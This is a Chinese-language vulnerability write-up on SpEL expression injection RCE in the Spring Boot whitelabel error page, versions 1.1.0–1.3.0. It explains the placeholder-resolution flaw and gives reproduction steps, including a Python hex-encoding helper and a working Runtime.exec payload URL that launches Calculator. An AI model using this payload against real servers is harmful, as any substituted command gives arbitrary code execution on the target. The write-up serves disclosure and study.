Spring Boot whitelabel error page SpEL rce

Spring Boot whitelabel error page SpEL rce
==========================================

一、漏洞简介
————

### 利用条件

– 至少知道一个触发 springboot 默认错误页面的接口及参数名

二、漏洞影响
————

spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

三、复现过程
————

#### 漏洞原理:

1. spring boot 处理参数值出错,流程进入
`org.springframework.util.PropertyPlaceholderHelper` 类中
2. 此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析
3. 其中 `${}` 包围的内容都会被
`org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration`
类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE
漏洞

### 漏洞复现

##### 步骤一:找到一个正常传参处

比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误:
`Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。

##### 步骤二:执行 SpEL 表达式

输入 `/article?id=${7*7}` ,如果发现报错页面将 7\*7 的值 49
计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:

# coding: utf-8

result = “”
target = ‘open -a Calculator’
for x in target:
result += hex(ord(x)) + “,”
print(result.rstrip(‘,’))

执行 `open -a Calculator` 命令

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

正常访问:

http://www.0-sec.org:9091/article?id=66

执行 `open -a Calculator` 命令:

http://www.0-sec.org:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容